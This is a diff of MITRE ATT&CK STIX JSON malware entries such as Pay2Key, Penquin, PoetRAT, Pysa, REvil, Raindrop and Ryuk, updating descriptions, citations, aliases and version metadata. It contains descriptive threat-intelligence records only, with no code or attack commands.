"https://us-cert.cisa.gov/sites/default/files/publications/AR-17-20045_Enhanced_Analysis_of_GRIZZLY_STEPPE_Activity.pdf", + "description": "NCCIC. (2017, February 10). Enhanced Analysis of GRIZZLY STEPPE Activity. Retrieved April 12, 2021." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[P.A.S. Webshell](https://attack.mitre.org/software/S0598) is a publicly available multifunctional PHP webshell in use since at least 2016 that provides remote access and execution on target web servers.(Citation: ANSSI Sandworm January 2021)", + "name": "P.A.S. Webshell", + "id": "malware--4800d0f9-00aa-47cd-a4d2-92198585b8fd", + "type": "malware", + "labels": [ + "malware" + ], + "modified": "2021-04-13T13:10:36.820Z", + "created": "2021-04-13T12:46:58.579Z", + "x_mitre_version": "1.0", + "x_mitre_aliases": [ + "P.A.S. Webshell", + "Fobushell" + ], + "x_mitre_platforms": [ + "Linux", + "Windows" + ] + }, { "id": "malware--b2c5d3ca-b43a-4888-ad8d-e2d43497bf85", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", @@ -251996,12 +296189,6 @@ "x_mitre_version": "1.1" }, { - "created": "2018-04-18T17:59:24.739Z", - "modified": "2020-06-25T22:31:02.691Z", - "labels": [ - "malware" - ], - "type": "malware", "id": "malware--5c6ed2dc-37f4-40ea-b2e1-4c76140a388c", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "PUNCHBUGGY", @@ -252039,6 +296226,12 @@ "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], + "type": "malware", + "labels": [ + "malware" + ], + "modified": "2021-02-09T14:07:10.907Z", + "created": "2018-04-18T17:59:24.739Z", "x_mitre_platforms": [ "Windows" ], @@ -252112,9 +296305,9 @@ "description": "(Citation: Symantec Pasam May 2012)" }, { - "source_name": "Symantec Elderwood Sept 2012", + "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", - "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + "source_name": "Symantec Elderwood Sept 2012" }, { "source_name": "Symantec Pasam May 2012", @@ -252129,7 +296322,7 @@ "labels": [ "malware" ], - "modified": "2020-03-30T17:20:41.436Z", + "modified": "2021-01-06T19:32:28.265Z", "created": "2018-04-18T17:59:24.739Z", "x_mitre_platforms": [ "Windows" @@ -252139,6 +296332,99 @@ ], "x_mitre_version": "1.1" }, + { + "created": "2021-01-04T15:12:14.805Z", + "modified": "2021-04-22T02:48:54.019Z", + "labels": [ + "malware" + ], + "type": "malware", + "external_references": [ + { + "external_id": "S0556", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0556" + }, + { + "source_name": "ClearkSky Fox Kitten February 2020", + "url": "https://www.clearskysec.com/fox-kitten/", + "description": "ClearSky. (2020, February 16). Fox Kitten \u2013 Widespread Iranian Espionage-Offensive Campaign. Retrieved December 21, 2020." + }, + { + "source_name": "Check Point Pay2Key November 2020", + "url": "https://research.checkpoint.com/2020/ransomware-alert-pay2key/", + "description": "Check Point. (2020, November 6). Ransomware Alert: Pay2Key. Retrieved January 4, 2021." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Pay2Key](https://attack.mitre.org/software/S0556) is a ransomware written in C++ that has been used by [Fox Kitten](https://attack.mitre.org/groups/G0117) since at least July 2020 including campaigns against Israeli companies. [Pay2Key](https://attack.mitre.org/software/S0556) has been incorporated with a leak site to display stolen sensitive information to further pressure victims into payment.(Citation: ClearkSky Fox Kitten February 2020)(Citation: Check Point Pay2Key November 2020)", + "name": "Pay2Key", + "id": "malware--77ca1aa3-280c-4b67-abaa-e8fb891a8f83", + "x_mitre_version": "1.0", + "x_mitre_aliases": [ + "Pay2Key" + ], + "x_mitre_platforms": [ + "Windows" + ] + }, + { + "external_references": [ + { + "external_id": "S0587", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0587" + }, + { + "source_name": "Penquin 2.0", + "description": "(Citation: Leonardo Turla Penquin May 2020)" + }, + { + "source_name": "Penquin_x64", + "description": "(Citation: Leonardo Turla Penquin May 2020)" + }, + { + "source_name": "Kaspersky Turla Penquin December 2014", + "url": "https://securelist.com/the-penquin-turla-2/67962/", + "description": "Baumgartner, K. and Raiu, C. (2014, December 8). The \u2018Penquin\u2019 Turla. Retrieved March 11, 2021." + }, + { + "source_name": "Leonardo Turla Penquin May 2020", + "url": "https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf", + "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Penquin", + "description": "[Penquin](https://attack.mitre.org/software/S0587) is a remote access trojan (RAT) with multiple versions used by [Turla](https://attack.mitre.org/groups/G0010) to target Linux systems since at least 2014.(Citation: Kaspersky Turla Penquin December 2014)(Citation: Leonardo Turla Penquin May 2020)", + "id": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550", + "type": "malware", + "labels": [ + "malware" + ], + "modified": "2021-04-09T17:35:29.546Z", + "created": "2021-03-11T15:06:57.934Z", + "x_mitre_contributors": [ + "Silvio La Porta, @LDO_CyberSec, Leonardo's Cyber Security Division", + "Antonio Villani, @LDO_CyberSec, Leonardo's Cyber Security Division", + "Nino Verde, @LDO_CyberSec, Leonardo's Cyber Security Division" + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_aliases": [ + "Penquin", + "Penquin 2.0", + "Penquin_x64" + ] + }, { "id": "malware--bd7a9e13-69fa-4243-a5e5-04326a63f9f2", "name": "Pillowmint", @@ -252362,12 +296648,6 @@ ] }, { - "created": "2020-04-27T20:21:16.487Z", - "modified": "2020-04-30T18:13:47.841Z", - "labels": [ - "malware" - ], - "type": "malware", "external_references": [ { "external_id": "S0428", @@ -252378,19 +296658,35 @@ "source_name": "Talos PoetRAT April 2020", "url": "https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html", "description": "Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020." + }, + { + "source_name": "Talos PoetRAT October 2020", + "url": "https://blog.talosintelligence.com/2020/10/poetrat-update.html", + "description": "Mercer, W. Rascagneres, P. Ventura, V. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves . Retrieved April 9, 2021." + }, + { + "source_name": "Dragos Threat Report 2020", + "url": "https://hub.dragos.com/hubfs/Year-in-Review/Dragos_2020_ICS_Cybersecurity_Year_In_Review.pdf?hsCtaTracking=159c0fc3-92d8-425d-aeb8-12824f2297e8%7Cf163726d-579b-4996-9a04-44e5a124d770", + "description": "Dragos. (n.d.). ICS Cybersecurity Year in Review 2020. Retrieved February 25, 2021." } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[PoetRAT](https://attack.mitre.org/software/S0428) is a Python-based remote access trojan (RAT) used in multiple campaigns against the private and public sectors in Azerbaijan, specifically ICS and SCADA systems in the energy sector. [PoetRAT](https://attack.mitre.org/software/S0428) derived its name from references in the code to poet William Shakespeare.(Citation: Talos PoetRAT April 2020) ", + "description": "[PoetRAT](https://attack.mitre.org/software/S0428) is a remote access trojan (RAT) that was first identified in April 2020. [PoetRAT](https://attack.mitre.org/software/S0428) has been used in multiple campaigns against the private and public sectors in Azerbaijan, including ICS and SCADA systems in the energy sector. The STIBNITE activity group has been observed using the malware. [PoetRAT](https://attack.mitre.org/software/S0428) derived its name from references in the code to poet William Shakespeare. (Citation: Talos PoetRAT April 2020)(Citation: Talos PoetRAT October 2020)(Citation: Dragos Threat Report 2020)", "name": "PoetRAT", "id": "malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c", + "type": "malware", + "labels": [ + "malware" + ], + "modified": "2021-04-24T21:20:30.634Z", + "created": "2020-04-27T20:21:16.487Z", "x_mitre_platforms": [ "Windows" ], - "x_mitre_version": "1.0", + "x_mitre_version": "2.0", "x_mitre_aliases": [ "PoetRAT" ] @@ -252419,14 +296715,14 @@ "description": "(Citation: Symantec Darkmoon Sept 2014)" }, { - "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf", + "source_name": "FireEye Poison Ivy", "description": "FireEye. (2014). POISON IVY: Assessing Damage and Extracting Intelligence. Retrieved November 12, 2014.", - "source_name": "FireEye Poison Ivy" + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-poison-ivy.pdf" }, { - "source_name": "Symantec Elderwood Sept 2012", + "url": "https://web.archive.org/web/20190717233006/http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf", "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", - "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + "source_name": "Symantec Elderwood Sept 2012" }, { "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2005-081910-3934-99", @@ -252446,7 +296742,7 @@ "labels": [ "malware" ], - "modified": "2020-03-25T13:56:40.675Z", + "modified": "2021-01-06T19:32:28.390Z", "created": "2017-05-31T21:32:15.263Z", "x_mitre_platforms": [ "Windows" @@ -252459,7 +296755,7 @@ "Poison Ivy", "Darkmoon" ], - "x_mitre_version": "1.1" + "x_mitre_version": "1.2" }, { "external_references": [ @@ -252658,9 +296954,9 @@ "url": "https://attack.mitre.org/software/S0393" }, { - "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.", + "source_name": "ESET Turla PowerShell May 2019", "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/", - "source_name": "ESET Turla PowerShell May 2019" + "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019." } ], "object_marking_refs": [ @@ -252668,13 +296964,13 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "PowerStallion", - "description": "[PowerStallion](https://attack.mitre.org/software/S0393) is a lightweight [PowerShell](https://attack.mitre.org/techniques/T1086) backdoor used by [Turla](https://attack.mitre.org/groups/G0010), possibly as a recovery access tool to install other backdoors.(Citation: ESET Turla PowerShell May 2019)", + "description": "[PowerStallion](https://attack.mitre.org/software/S0393) is a lightweight [PowerShell](https://attack.mitre.org/techniques/T1059/001) backdoor used by [Turla](https://attack.mitre.org/groups/G0010), possibly as a recovery access tool to install other backdoors.(Citation: ESET Turla PowerShell May 2019)", "id": "malware--dcac85c1-6485-4790-84f6-de5e6f6b91dd", "type": "malware", "labels": [ "malware" ], - "modified": "2020-03-30T17:22:45.321Z", + "modified": "2021-02-09T14:05:19.246Z", "created": "2019-06-21T17:23:27.855Z", "x_mitre_version": "1.1", "x_mitre_aliases": [ @@ -252746,9 +297042,9 @@ "labels": [ "malware" ], - "modified": "2020-06-12T17:37:53.480Z", + "modified": "2021-01-22T16:19:40.969Z", "created": "2018-10-17T00:14:20.652Z", - "x_mitre_version": "1.1", + "x_mitre_version": "1.2", "x_mitre_aliases": [ "Proton" ], @@ -252865,6 +297161,62 @@ ], "x_mitre_version": "1.1" }, + { + "id": "malware--a19c1197-9414-46e3-986f-0f609ff4a46b", + "description": "[Pysa](https://attack.mitre.org/software/S0583) is a ransomware that was first used in October 2018 and has been seen to target particularly high-value finance, government and healthcare organizations.(Citation: CERT-FR PYSA April 2020)", + "name": "Pysa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "external_id": "S0583", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0583" + }, + { + "source_name": "Pysa", + "description": "(Citation: CERT-FR PYSA April 2020)(Citation: DFIR Pysa Nov 2020)(Citation: NHS Digital Pysa Oct 2020)" + }, + { + "source_name": "Mespinoza", + "description": "(Citation: CERT-FR PYSA April 2020)(Citation: DFIR Pysa Nov 2020)(Citation: NHS Digital Pysa Oct 2020)" + }, + { + "source_name": "CERT-FR PYSA April 2020", + "url": "https://www.cert.ssi.gouv.fr/uploads/CERTFR-2020-CTI-003.pdf", + "description": "CERT-FR. (2020, April 1). ATTACKS INVOLVING THE MESPINOZA/PYSA RANSOMWARE. Retrieved March 1, 2021." + }, + { + "source_name": "DFIR Pysa Nov 2020", + "url": "https://thedfirreport.com/2020/11/23/pysa-mespinoza-ransomware/", + "description": "THe DFIR Report. (2020, November 23). PYSA/Mespinoza Ransomware. Retrieved March 17, 2021." + }, + { + "source_name": "NHS Digital Pysa Oct 2020", + "url": "https://digital.nhs.uk/cyber-alerts/2020/cc-3633", + "description": "NHS Digital. (2020, October 10). Pysa Ransomware: Another 'big-game hunter' ransomware. Retrieved March 17, 2021." + } + ], + "type": "malware", + "labels": [ + "malware" + ], + "modified": "2021-04-27T20:19:31.430Z", + "created": "2021-03-01T19:44:27.287Z", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_aliases": [ + "Pysa", + "Mespinoza" + ], + "x_mitre_version": "1.0", + "x_mitre_contributors": [ + "Daniyal Naeem, BT Security" + ] + }, { "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" @@ -253046,6 +297398,13 @@ "x_mitre_version": "1.0" }, { + "id": "malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5", + "name": "REvil", + "description": "[REvil](https://attack.mitre.org/software/S0496) is a ransomware family that has been linked to the [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) group and operated as ransomware-as-a-service (RaaS) since at least April 2019. [REvil](https://attack.mitre.org/software/S0496) is highly configurable and shares code similarities with the GandCrab RaaS.(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: Group IB Ransomware May 2020)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "external_id": "S0496", @@ -253058,7 +297417,7 @@ }, { "source_name": "Sodinokibi", - "description": "(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: G Data Sodinokibi June 2019)(Citation: Kaspersky Sodin July 2019)(Citation: Cylance Sodinokibi July 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: Talos Sodinokibi April 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: McAfee REvil October 2019)(Citation: Picus Sodinokibi January 2020)(Citation: Secureworks REvil September 2019)" + "description": "(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: G Data Sodinokibi June 2019)(Citation: Kaspersky Sodin July 2019)(Citation: Cylance Sodinokibi July 2019)(Citation: Secureworks GandCrab and REvil September 2019)(Citation: Talos Sodinokibi April 2019)(Citation: McAfee Sodinokibi October 2019)(Citation: McAfee REvil October 2019)(Citation: Picus Sodinokibi January 2020)(Citation: Secureworks REvil September 2019)(Citation: Tetra Defense Sodinokibi March 2020)" }, { "source_name": "Secureworks REvil September 2019", @@ -253067,7 +297426,7 @@ }, { "source_name": "Intel 471 REvil March 2020", - "url": "https://blog.intel471.com/2020/03/31/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", + "url": "https://intel471.com/blog/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/", "description": "Intel 471 Malware Intelligence team. (2020, March 31). REvil Ransomware-as-a-Service \u2013 An analysis of a ransomware affiliate operation. Retrieved August 4, 2020." }, { @@ -253114,32 +297473,30 @@ "source_name": "Picus Sodinokibi January 2020", "url": "https://www.picussecurity.com/blog/a-brief-history-and-further-technical-analysis-of-sodinokibi-ransomware", "description": "Ozarslan, S. (2020, January 15). A Brief History of Sodinokibi. Retrieved August 5, 2020." + }, + { + "source_name": "Tetra Defense Sodinokibi March 2020", + "url": "https://www.tetradefense.com/incident-response-services/cause-and-effect-sodinokibi-ransomware-analysis", + "description": "Tetra Defense. (2020, March). CAUSE AND EFFECT: SODINOKIBI RANSOMWARE ANALYSIS. Retrieved December 14, 2020." } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[REvil](https://attack.mitre.org/software/S0496) is a ransomware family that has been linked to the [GOLD SOUTHFIELD](https://attack.mitre.org/groups/G0115) group and operated as ransomware-as-a-service (RaaS) since at least April 2019. [REvil](https://attack.mitre.org/software/S0496) is highly configurable and shares code similarities with the GandCrab RaaS.(Citation: Secureworks REvil September 2019)(Citation: Intel 471 REvil March 2020)(Citation: Group IB Ransomware May 2020)", - "name": "REvil", - "id": "malware--ac61f1f9-7bb1-465e-9b8a-c2ce8e88baf5", "type": "malware", "labels": [ "malware" ], - "modified": "2020-10-05T15:52:54.596Z", + "modified": "2021-04-06T14:42:52.993Z", "created": "2020-08-04T15:06:14.796Z", - "x_mitre_contributors": [ - "Edward Millington" - ], - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_version": "1.0", "x_mitre_aliases": [ "REvil", "Sodin", "Sodinokibi" + ], + "x_mitre_version": "1.1", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_contributors": [ + "Edward Millington" ] }, { @@ -253230,7 +297587,7 @@ "source_name": "FireEye Bootkits" } ], - "description": "[ROCKBOOT](https://attack.mitre.org/software/S0112) is a [Bootkit](https://attack.mitre.org/techniques/T1067) that has been used by an unidentified, suspected China-based group. (Citation: FireEye Bootkits)", + "description": "[ROCKBOOT](https://attack.mitre.org/software/S0112) is a [Bootkit](https://attack.mitre.org/techniques/T1542/003) that has been used by an unidentified, suspected China-based group. (Citation: FireEye Bootkits)", "name": "ROCKBOOT", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "id": "malware--cba78a1c-186f-4112-9e6a-be1839f030f7", @@ -253238,7 +297595,7 @@ "labels": [ "malware" ], - "modified": "2020-03-30T17:39:16.351Z", + "modified": "2021-02-09T15:16:26.188Z", "created": "2017-05-31T21:33:07.565Z", "x_mitre_version": "1.1", "x_mitre_aliases": [ @@ -253286,7 +297643,7 @@ "labels": [ "malware" ], - "modified": "2020-05-21T17:07:02.274Z", + "modified": "2020-11-23T18:54:49.190Z", "created": "2018-10-17T00:14:20.652Z", "x_mitre_platforms": [ "Windows" @@ -253294,7 +297651,7 @@ "x_mitre_aliases": [ "ROKRAT" ], - "x_mitre_version": "2.1" + "x_mitre_version": "2.2" }, { "created": "2017-05-31T21:33:26.565Z", @@ -253373,9 +297730,9 @@ "labels": [ "malware" ], - "modified": "2020-06-30T00:39:39.738Z", + "modified": "2021-04-13T23:52:18.803Z", "created": "2020-06-29T23:30:53.824Z", - "x_mitre_version": "1.0", + "x_mitre_version": "1.1", "x_mitre_aliases": [ "Ragnar Locker" ], @@ -253384,6 +297741,62 @@ ] }, { + "external_references": [ + { + "external_id": "S0565", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/software/S0565" + }, + { + "source_name": "Raindrop", + "description": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware" + }, + { + "source_name": "Symantec RAINDROP January 2021", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", + "description": "Symantec Threat Hunter Team. (2021, January 18). Raindrop: New Malware Discovered in SolarWinds Investigation. Retrieved January 19, 2021." + }, + { + "source_name": "Microsoft Deep Dive Solorigate January 2021", + "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", + "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Raindrop", + "description": "[Raindrop](https://attack.mitre.org/software/S0565) is a loader used by [APT29](https://attack.mitre.org/groups/G0016) that was discovered on some victim machines during investigations related to the 2020 SolarWinds cyber intrusion. It was discovered in January 2021 and was likely used since at least May 2020.(Citation: Symantec RAINDROP January 2021)(Citation: Microsoft Deep Dive Solorigate January 2021)", + "id": "malware--4efc3e00-72f2-466a-ab7c-8a7dc6603b19", + "type": "malware", + "labels": [ + "malware" + ], + "modified": "2021-04-26T12:16:26.590Z", + "created": "2021-01-19T19:43:27.828Z", + "x_mitre_version": "1.1", + "x_mitre_aliases": [ + "Raindrop" + ], + "x_mitre_platforms": [ + "Windows" + ] + }, + { + "created": "2020-05-27T16:58:08.242Z", + "modified": "2021-04-14T22:10:12.150Z", + "labels": [ + "malware" + ], + "type": "malware", + "id": "malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997", + "name": "Ramsay", + "description": "[Ramsay](https://attack.mitre.org/software/S0458) is an information stealing malware framework designed to collect and exfiltrate sensitive documents, including from air-gapped systems. Researchers have identified overlaps between [Ramsay](https://attack.mitre.org/software/S0458) and the [Darkhotel](https://attack.mitre.org/groups/G0012)-associated Retro malware.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "external_id": "S0458", @@ -253398,27 +297811,22 @@ "source_name": "Eset Ramsay May 2020", "url": "https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/", "description": "Sanmillan, I.. (2020, May 13). Ramsay: A cyber\u2011espionage toolkit tailored for air\u2011gapped networks. Retrieved May 27, 2020." + }, + { + "source_name": "Antiy CERT Ramsay April 2020", + "url": "https://www.programmersought.com/article/62493896999/", + "description": "Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021." } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "description": "[Ramsay](https://attack.mitre.org/software/S0458) is an information stealing malware framework designed to collect and exfiltrate sensitive documents, potentially from air-gapped systems. Researchers have identified overlaps between [Ramsay](https://attack.mitre.org/software/S0458) and the [Darkhotel](https://attack.mitre.org/groups/G0012)-associated Retro malware.(Citation: Eset Ramsay May 2020)", - "name": "Ramsay", - "id": "malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997", - "type": "malware", - "labels": [ - "malware" - ], - "modified": "2020-06-16T23:17:20.639Z", - "created": "2020-05-27T16:58:08.242Z", - "x_mitre_version": "1.0", - "x_mitre_aliases": [ - "Ramsay" - ], "x_mitre_platforms": [ "Windows" + ], + "x_mitre_aliases": [ + "Ramsay" + ], + "x_mitre_version": "1.1", + "x_mitre_contributors": [ + "Harry Kim, CODEMIZE" ] }, { @@ -253506,7 +297914,7 @@ "id": "malware--65341f30-bec6-4b1d-8abf-1a5620446c29", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Reaver", - "description": "[Reaver](https://attack.mitre.org/software/S0172) is a malware family that has been in the wild since at least late 2016. Reporting indicates victims have primarily been associated with the \"Five Poisons,\" which are movements the Chinese government considers dangerous. The type of malware is rare due to its final payload being in the form of [Control Panel Items](https://attack.mitre.org/techniques/T1196). (Citation: Palo Alto Reaver Nov 2017)", + "description": "[Reaver](https://attack.mitre.org/software/S0172) is a malware family that has been in the wild since at least late 2016. Reporting indicates victims have primarily been associated with the \"Five Poisons,\" which are movements the Chinese government considers dangerous. The type of malware is rare due to its final payload being in the form of [Control Panel](https://attack.mitre.org/techniques/T1218/002) items.(Citation: Palo Alto Reaver Nov 2017)", "external_references": [ { "source_name": "mitre-attack", @@ -253518,9 +297926,9 @@ "description": "(Citation: Palo Alto Reaver Nov 2017)" }, { - "source_name": "Palo Alto Reaver Nov 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/", "description": "Grunzweig, J. and Miller-Osborn, J. (2017, November 10). New Malware with Ties to SunOrcal Discovered. Retrieved November 16, 2017.", - "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-new-malware-with-ties-to-sunorcal-discovered/" + "source_name": "Palo Alto Reaver Nov 2017" } ], "object_marking_refs": [ @@ -253530,7 +297938,7 @@ "labels": [ "malware" ], - "modified": "2020-03-30T17:41:10.175Z", + "modified": "2021-02-09T15:02:42.727Z", "created": "2018-01-16T16:13:52.465Z", "x_mitre_platforms": [ "Windows" @@ -254052,6 +298460,10 @@ "source_name": "mitre-attack", "url": "https://attack.mitre.org/software/S0446" }, + { + "source_name": "Ryuk", + "description": "(Citation: CrowdStrike Ryuk January 2019) (Citation: Bleeping Computer - Ryuk WoL) " + }, { "source_name": "CrowdStrike Ryuk January 2019", "url": "https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/", @@ -254066,21 +298478,30 @@ "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html", "source_name": "FireEye FIN6 Apr 2019" + }, + { + "source_name": "Bleeping Computer - Ryuk WoL", + "url": "https://www.bleepingcomputer.com/news/security/ryuk-ransomware-uses-wake-on-lan-to-encrypt-offline-devices/", + "description": "Abrams, L. (2021, January 14). Ryuk Ransomware Uses Wake-on-Lan To Encrypt Offline Devices. Retrieved February 11, 2021." } ], "type": "malware", "labels": [ "malware" ], - "modified": "2020-05-18T21:37:40.600Z", + "modified": "2021-04-14T21:34:42.810Z", "created": "2020-05-13T20:14:53.171Z", + "x_mitre_contributors": [ + "The DFIR Report, @TheDFIRReport", + "Matt Brenton, Zurich Insurance Group" + ], "x_mitre_platforms": [ "Windows" ], "x_mitre_aliases": [ "Ryuk" ], - "x_mitre_version": "1.0" + "x_mitre_version": "1.1" }, { "id": "malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131", @@ -254118,8 +298539,8 @@ }, { "id": "malware--92b03a94-7147-4952-9d5a-b4d24da7487c", - "name": "SDBot", - "description": "[SDBot](https://attack.mitre.org/software/S0461) is a backdoor with installer and loader components that has been used by [TA505](https://attack.mitre.org/groups/G0092) since at least 2019.(Citation: Proofpoint TA505 October 2019)(Citation: IBM TA505 April 2020)", + "name": "SDBbot", + "description": "[SDBbot](https://attack.mitre.org/software/S0461) is a backdoor with installer and loader components that has been used by [TA505](https://attack.mitre.org/groups/G0092) since at least 2019.(Citation: Proofpoint TA505 October 2019)(Citation: IBM TA505 April 2020)", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" @@ -254145,21 +298566,21 @@ "labels": [ "malware" ], - "modified": "2020-06-17T19:40:20.251Z", + "modified": "2021-03-29T20:35:47.468Z", "created": "2020-06-01T12:29:05.241Z", "x_mitre_platforms": [ "Windows" ], "x_mitre_aliases": [ - "SDBot" + "SDBbot" ], - "x_mitre_version": "1.0" + "x_mitre_version": "2.0" }, { "id": "malware--0998045d-f96e-4284-95ce-3c8219707486", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "SEASHARPEE", - "description": "[SEASHARPEE](https://attack.mitre.org/software/S0185) is a Web shell that has been used by [APT34](https://attack.mitre.org/groups/G0057). (Citation: FireEye APT34 Webinar Dec 2017)", + "description": "[SEASHARPEE](https://attack.mitre.org/software/S0185) is a Web shell that has been used by [OilRig](https://attack.mitre.org/groups/G0049). (Citation: FireEye APT34 Webinar Dec 2017)", "external_references": [ { "source_name": "mitre-attack", @@ -254183,7 +298604,7 @@ "labels": [ "malware" ], - "modified": "2020-03-30T18:08:50.209Z", + "modified": "2021-04-23T20:29:59.216Z", "created": "2018-01-16T16:13:52.465Z", "x_mitre_platforms": [ "Windows" @@ -254191,7 +298612,7 @@ "x_mitre_aliases": [ "SEASHARPEE" ], - "x_mitre_version": "1.1" + "x_mitre_version": "2.0" }, { "external_references": [ @@ -254348,6 +298769,73 @@ "modified": "2018-10-17T00:14:20.652Z", "created": "2018-04-18T17:59:24.739Z" }, + { + "id": "malware--feb2d7bb-aacb-48df-ad04-ccf41a30cd90", + "name": "SLOTHFULMEDIA", + "description": 